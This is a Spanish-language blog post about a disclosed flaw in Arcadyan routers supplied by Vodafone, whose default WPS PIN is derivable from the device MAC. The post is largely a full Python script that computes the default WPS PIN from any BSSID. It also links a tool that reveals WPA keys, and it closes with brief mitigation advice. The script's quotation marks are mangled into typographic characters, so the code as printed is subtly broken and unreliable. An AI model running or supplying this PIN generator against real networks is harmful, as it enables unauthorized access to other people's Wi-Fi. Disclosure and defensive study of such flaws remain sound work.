Patrón WiFi Routers Vodafone

Después de un par de semanas fuera de contacto con el blog, por otros menesteres, hoy os traemos un asunto que muchos se frotarán las manos. El tema estrella o el vox pópuli del mundillo de la informática es, como no, las redes WiFi.

Si bien cuando empezaron a instalarse, que es cuando entré en contacto de lleno con ellas, sin apenas ayudas o referencias en los foros era todo un reto, hoy en día prácticamente es un objetivo relativamente fácil.

Ya hemos comentado en anteriores artículos el porque se debe tener una seguridad muy cuidada en nuestras redes más allá de si nos importa que los desconocidos se conecten o podamos compartir Internet con alguien que ni conocemos.

Pues hoy, tenemos la sorpresa (o no) de que se ha logrado descubrir el patrón con el que se generan las claves WiFi de determinados routers de Vodafone.

Wifi Hacked

¿Cómo es eso?

No es ningún señuelo para que piques y visites nuestro sitio, no. Realmente ha pasado. En bandaancha.eu podéis comprobar la existencia el artículo por el cual nos hemos enterado (no nos importa rebelar el medio por el que nos llega la información 😉 ).

Los routers afectados son los fabricados por Arcadyan/Astoria Networks. Estos routers los usa Vodafone para distribuirlos en España. Y yo personalmente los he visto en multitud de sitios instalados. Se comenta que Orange los usa a menos nivel. En este caso no puedo dar constancia de ello.

El flamante descubridor de esto ha sido un consultor de seguridad informática de una empresa alemana. La página está caída, por ahora. Este señor ha logrado descubrir el patrón con el que se genera la clave WiFi por defecto de cada router, a partir de la MAC del dispositivo. Fue al documento donde queda registrada la patente del fabricante donde explica como se genera el algoritmo de creación de la clave.

¿Y cómo no se le ha ocurrido antes a nadie?

Pues que a veces las cosas de lógica no son de tan lógica y nadie por descabellada que parezca la idea, pensará que en la patente van a revelar el algoritmo de generación de claves por defecto para dichos routers. 

¿Cómo puedo testear mi router Arcadyan ARV7510PW22 el cual es vulnerable?

Ya existe un scripts que genera el pin WPS que posiblemente lleve tu router. 

#!/usr/bin/env python
import sys, re

def gen_pin (mac_str, sn):
    mac_int = [int(x, 16) for x in mac_str]
    sn_int = [0]*5+[int(x) for x in sn[5:]]
    hpin = [0] * 7
    
    k1 = (sn_int[6] + sn_int[7] + mac_int[10] + mac_int[11]) & 0xF
    k2 = (sn_int[8] + sn_int[9] + mac_int[8] + mac_int[9]) & 0xF
    hpin[0] = k1 ^ sn_int[9];
    hpin[1] = k1 ^ sn_int[8];
    hpin[2] = k2 ^ mac_int[9];
    hpin[3] = k2 ^ mac_int[10];
    hpin[4] = mac_int[10] ^ sn_int[9];
    hpin[5] = mac_int[11] ^ sn_int[8];
    hpin[6] = k1 ^ sn_int[7];
    pin = int(‘%1X%1X%1X%1X%1X%1X%1X’ % (hpin[0], hpin[1], hpin[2], hpin[3], hpin[4], hpin[5], hpin[6]), 16) % 10000000

    # WPS PIN Checksum – for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
# http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc    
    accum = 0
    t = pin
    while (t):
        accum += 3 * (t % 10)
        t /= 10
        accum += t % 10
        t /= 10
    return ‘%i%i’ % (pin, (10 – accum % 10) % 10)

def main():
    if len(sys.argv) != 2:
        sys.exit(‘usage: easybox_wps.py [BSSID]\n eg. easybox_wps.py 38:22:9D:11:22:33\n’)
        
    mac_str = re.sub(r'[^a-fA-F0-9]’, », sys.argv[1])
    if len(mac_str) != 12:
        sys.exit(‘check MAC format!\n’)
        
    sn = ‘R—-%05i’ % int(mac_str[8:12], 16)
    print ‘derived serial number:’, sn
    print ‘SSID: Arcor|EasyBox|Vodafone-%c%c%c%c%c%c’ % (mac_str[6], mac_str[7], mac_str[8], mac_str[9], sn[5], sn[9])        
    print ‘WPS pin:’, gen_pin(mac_str, sn)

if __name__ == «__main__»:
    main()

Es un script en python y un ejemplo sería el siguiente:

easyboxPIN 00:00:00:00:00:00

Donde easyboxPIN sería nuestro script para extraer el PIN WPS por defecto que trae nuestro router Vodafone Arcadyan.

Por otra parte el algoritmo para extraer la WPA-Key del router es diferente al del PIN WPS. Distingamos entre PIN WPS y WPA-KEY. No son lo mismo.

Los compañeros de lampiweb, siempre a la vanguardia de estos temas, han desarrollado una aplicación que metiendo los BSSID vulnerables te revelan el PIN WPS y la WPA-KEY. Os invitamos a que os paséis en el enlace:

http://lampiweb.com/foro/index.php/topic,11902.0.html

Para evitar esta vulnerabilidad en nuestro router Arcadyan, la solución pasa por cambiar la clave WiFi que trae por defecto nuestro router vulnerable, cambiar el ESSID, y el PIN si fuera posible. Sin referencias de ESSID(Nombre de la WiFi) podemos «despistar» a un posible atacante.

Por ahora no lo hemos probado ya que estamos a la espera de conseguir un router de dicho proveedor para poder probarlo ya que como ya sabéis, hacerlo con un router que no sea de vuestra propiedad es ilegal.

 

Un saludo.

@ManoloGaritmo